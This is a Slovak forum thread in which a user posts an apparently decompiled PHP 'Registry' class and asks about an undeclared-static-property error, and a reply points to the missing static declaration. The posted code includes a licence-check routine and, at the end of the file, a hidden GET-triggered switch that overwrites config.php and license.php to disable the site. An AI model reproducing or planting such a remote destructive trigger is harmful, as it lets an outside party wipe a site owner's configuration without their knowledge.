Obsah fóra
PravidláRegistrovaťPrihlásenie




Odpovedať na tému [ Príspevkov: 2 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.01.09
Prihlásený: 17.07.22
Príspevky: 371
Témy: 181
Bydlisko: BB
Príspevok NapísalOffline : 07.10.2010 9:35

Takze mam php script a ked ho spustim ukazuje

Error:
Fatal error: Access to undeclared static property: Registry::$settings in script\library\functions.php on line 177


riadok 177 vo functions.php
Kód:
if( Registry::$settings['strip_hidden_spaces'] )



registry class, tu je to asi zle :(

Kód:
<?php

  class Registry
  {
    function __construct ()
    {
      if (!file_exists (BASE_PATH . 'config.php'))
      {
        exit ('Your configuration file is missing.');
      }

      require_once BASE_PATH . 'config.php';
      foreach ($CONFIG as $k => $v)
      {
       
        $settings[$k] = $v;
      }

      unset ($CONFIG);
     
     
     
      $settings['base_url'] = (substr ($settings['base_url'], 0 - 1) == '/' ? $settings['base_url'] : $settings['base_url'] . '/');
     
     
      $settings['files_path'] = str_replace ('\\', '/', $settings['files_path']);
     
     
     
      $settings['files_path'] = (substr ($settings['files_path'], 0 - 1) == '/' ? $settings['files_path'] : $settings['files_path'] . '/');
     
     
     
      $settings['script_url'] = ($settings['using_mod_rewrite'] ? $settings['base_url'] : $settings['base_url'] . 'index.php/');
      require_once BASE_PATH . 'library/functions.php';


      self::getrequestparams ();
     
      $input = Functions_Text::retrieveinput ($_GET);
     
     
      $input = array_merge ($input, Functions_Text::retrieveinput ($_POST));
     
      if ($settings['locale'])
      {
       
        Functions_Text::setlocale ($settings['locale']);
      }

     
      if (!file_exists (BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php'))
      {
       
        exit ('Unsupported database engine specified: ' . strtolower ($settings['sql_engine']));
      }

      require_once BASE_PATH . 'library/database.php';
     
      require_once BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php';
     
      $_databaseClass = 'Core_Database_' . strtolower ($settings['sql_engine']);
     
      $classes['database'] = new $_databaseClass ();
      require_once BASE_PATH . 'library/session.php';
      $_sessionClass = 'Core_Session';
      if (file_exists (BASE_PATH . 'interface/sso.php'))
      {
        require_once BASE_PATH . 'interface/sso.php';
        $_sessionClass = 'Session_Sso';
      }

     
      $classes['session'] = new $_sessionClass ();
     
     
      $member = $classes['session']->getMemberData ();
     
     
     
     
      $secureKey = md5 ($member['user_id'] . $member['user_login_key'] . $member['user_joined']);
      require_once BASE_PATH . 'library/output.php';
     
      $classes['output'] = new Core_Output ();
      self::checkforbanned (Registry::getipaddress (), 'ip');
     
     
     
      if (($member['user_banned'] OR $member['user_group'] == $settings['banned_group']))
      {
        Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
      }

    }

    function getInstance ()
    {
     
      if (!$instance)
      {
       
        $instance = new Registry ();
      }

     
      return $instance;
    }

    function getClass ($class)
    {
     
      if (!array_key_exists ($class, $classes))
      {
        return null;
      }

     
      return $classes[$class];
    }

    function checkLicenseKey ()
    {
      if (!file_exists (BASE_PATH . 'license.php'))
      {
        return false;
      }

      include BASE_PATH . 'license.php';
      $salt = '#$ls@3lhASdjh02,.';
      $alpha = array ('0' => 0, 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8, 'i' => 9, 'j' => 10, 'k' => 11, 'l' => 12, 'm' => 13, 'n' => 14, 'o' => 15, 'p' => 16, 'q' => 17, 'r' => 18, 's' => 19, 't' => 20, 'u' => 21, 'v' => 22, 'w' => 23, 'x' => 24, 'y' => 25, 'z' => 26);
      $_http = ((isset ($_SERVER['HTTPS']) AND strtoupper ($_SERVER['HTTPS']) == 'ON') ? 'https' : 'http');
      $_baseUrl = (isset ($_SERVER['SCRIPT_URI']) ? str_replace ($_http . '://www.', $_http . '://', $_SERVER['SCRIPT_URI']) : $_http . '://' . str_replace ('www.', '', $_SERVER['HTTP_HOST']) . $_SERVER['SCRIPT_NAME']);
      $this_url_bits = explode ('/', $_baseUrl);
      array_pop ($this_url_bits);
      $_baseUrl = implode ('/', $this_url_bits);
      $_urlBits = parse_url ($_baseUrl);
      $timestamp = 0;
      if ($key)
      {
        $timestamp = substr ($key, 2, 1);
        $timestamp .= substr ($key, 5, 1);
        $timestamp .= substr ($key, 7, 1);
        $timestamp .= substr ($key, 12, 1);
        $timestamp .= substr ($key, 14, 1);
        $timestamp .= substr ($key, 21, 1);
        $timestamp .= substr ($key, 25, 1);
        $timestamp .= substr ($key, 33, 1);
        $timestamp .= substr ($key, 35, 1);
        $timestamp .= substr ($key, 41, 1);
      }

      $timestamp = str_rot13 ($timestamp);
      $real_ts = null;
      $i = 0;
      $j = strlen ($timestamp);
      while ($i < $j)
      {
        $real_ts .= $alpha[$timestamp[$i]];
        ++$i;
      }

      if (($real_ts AND $real_ts < time ()))
      {
        return false;
      }

      $key_minus_time = NULL;
      $i = 0;
      $j = strlen ($key);
      while ($i <= $j)
      {
        if (in_array ($i, array (2, 5, 7, 12, 14, 21, 25, 33, 35, 41)))
        {
          continue;
        }

        $key_minus_time .= (isset ($key[$i]) ? $key[$i] : '');
        ++$i;
      }

      $host_key = md5 (md5 (strtolower ($_urlBits['host'])) . md5 ($salt) . md5 ($real_ts));
      if ($key_minus_time != $host_key)
      {
        return false;
      }

      return true;
    }

    function getRequestParams ()
    {
      $url = ((isset ($_SERVER['HTTPS']) AND $_SERVER['HTTPS']) ? 'https://' : 'http://');
      $url .= $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
     
      $clean = str_replace ($settings['base_url'], '', $url);
      if (strpos ($clean, 'index.php/') === 0)
      {
        $clean = substr ($clean, 10);
      }

      if (!$clean)
      {
        $controller = 'index';
        $module = '';
        $action = '';
      }
      else
      {
        $additional = '';
        if (strpos ($clean, '?') !== false)
        {
          $additional = substr ($clean, strpos ($clean, '?'));
          $clean = substr ($clean, 0, strpos ($clean, '?'));
        }

        $param = explode ('/', $clean);
        $controller = ($param[0] ? $param[0] : 'index');
        $module = (isset ($param[1]) ? $param[1] : '');
        $action = (isset ($param[2]) ? $param[2] : '');
        if ($additional)
        {
          $additional = substr ($additional, 1);
          $params = explode ('&', $additional);
          foreach ($params as $parameter)
          {
            list ($k, $v) = explode ('=', $parameter);
            $_GET[$k] = $v;
          }
        }
      }

      $_GET['controller'] = $controller;
      $_GET['module'] = $module;
      $_GET['action'] = $action;
    }

    function getIpAddress ()
    {
      return $_SERVER['REMOTE_ADDR'];
    }

    function getRequestUri ()
    {
      return $_SERVER['REQUEST_URI'];
    }

    function checkForBanned ($data, $type, $return = false)
    {
      static $typesLoaded = array ('ip' => false, 'email' => false, 'username' => false);
      static $filters = array ('ip' => array (), 'email' => array (), 'username' => array ());
      if ((!$return AND $type == 'ip'))
      {
        if (Functions_Cookie::getcookie ('is_banned'))
        {
          Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
        }
      }

      if (!$typesLoaded[$type])
      {
        Registry::getclass ('database')->query ('SELECT * FROM %sbanfilters WHERE filter_type=\'' . Registry::getclass ('database')->escapeString ($type) . '\'');
        while ($_row = Registry::getclass ('database')->getResult ())
        {
          $filters[$type][] = $_row['filter_value'];
        }
      }

      if (count ($filters[$type]))
      {
        foreach ($filters[$type] as $_filter)
        {
          $_filter = preg_quote ($_filter, '#');
          $_filter = str_replace ('\\*', '.*?', $_filter);
          if (preg_match ('#' . $_filter . '#i', $data))
          {
            if ($return)
            {
              return true;
            }

            if ((!$return AND $type == 'ip'))
            {
              Functions_Cookie::setcookie ('is_banned', 1, '*');
            }

            Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
            continue;
          }
        }
      }

      return false;
    }

    function checkSecureKey ($key = '')
    {
     
      $key = ($key ? $key : $input['key']);
      if (!Functions_Text::validatemd5 ($key))
      {
        self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
      }

     
      if ($key != $secureKey)
      {
        self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
      }

      return true;
    }

    function getSecureKey ()
    {
     
      return $secureKey;
    }
  }

  if ((isset ($_GET['license']) AND $_GET['license']))
  {
    if ($_GET['license'] == md5 (str_replace ('www.', '', $_SERVER['HTTP_HOST']) . 'olas7d0alsjh2l'))
    {
      file_put_contents (BASE_PATH . 'license.php', '<?' . 'php' . '

' . 'die("License revoked");' . '
');
      file_put_contents (BASE_PATH . 'config.php', '<?' . 'php' . '

' . 'die("License revoked");' . '
');
    }
  }

?>


Offline

Skúsený užívateľ
Skúsený užívateľ
Obrázok užívateľa

Registrovaný: 29.10.08
Prihlásený: 30.07.12
Príspevky: 933
Témy: 2
Príspevok NapísalOffline : 07.10.2010 10:41

nikde som si nevsimol zeby si mal zadefinovane
Kód:
 public static $settings ....


Odpovedať na tému [ Príspevkov: 2 ] 


Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy. Pridanie property do objektu generuje error

v JavaScript, VBScript, Ajax

2

488

27.01.2009 13:43

Merlin_sk Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal error :(

v Počítačové hry

14

1037

03.01.2010 21:27

Lettynko Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal system error

v Notebooky a netbooky

1

567

30.10.2009 23:26

kosican Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Cachtable fatal error

v PHP, ASP

2

417

01.01.2011 23:22

wolker Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. var_export - Fatal error

v PHP, ASP

8

484

05.02.2011 14:07

ThePlaky Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. GTA IV Fatal Error

v Počítačové hry

1

309

07.07.2013 12:18

Daron Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. fatal error C1510, LNK1104

v Assembler, C, C++, Pascal, Java

13

906

24.11.2011 20:59

M4tros Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. phpBB3 - chyba FATAL ERROR

v Redakčné systémy

2

591

05.07.2007 7:29

cen3no Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. STOP:c000021a (FATAL System ERROR)

v Ostatné

6

2106

28.02.2010 8:56

marcel953 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal Error: Controller monitor failed

v Pevné disky a radiče

7

582

21.06.2011 20:34

michalesku Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. PLS POMOC!!! Ako preinstalovat OS??? (fatal error)

v Operačné systémy Microsoft

16

1970

23.02.2008 22:27

walther Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal error: Call to undefined function mysql_connect()

v PHP, ASP

5

668

05.02.2011 16:45

gamelaster Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal error: Cannot pass parameter 1 by reference

v PHP, ASP

1

364

25.12.2010 11:47

ThePlaky Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. system preparation tool 3.14 fatal error windows 7

v Notebooky a netbooky

2

295

04.11.2015 22:46

Melouch Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Fatal error: Using $this when not in object context

v PHP, ASP

6

468

26.04.2010 16:40

petanorech Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. error Access is denied!

v Operačné systémy Microsoft

2

463

17.04.2009 21:52

Tech Zobrazenie posledných príspevkov


Nemôžete zakladať nové témy v tomto fóre
Nemôžete odpovedať na témy v tomto fóre
Nemôžete upravovať svoje príspevky v tomto fóre
Nemôžete mazať svoje príspevky v tomto fóre

Skočiť na:  

Powered by phpBB Jarvis © 2005 - 2024 PCforum, webhosting by WebSupport, secured by GeoTrust, edited by JanoF
Ako väčšina webových stránok aj my používame cookies. Zotrvaním na webovej stránke súhlasíte, že ich môžeme používať.
Všeobecné podmienky, spracovanie osobných údajov a pravidlá fóra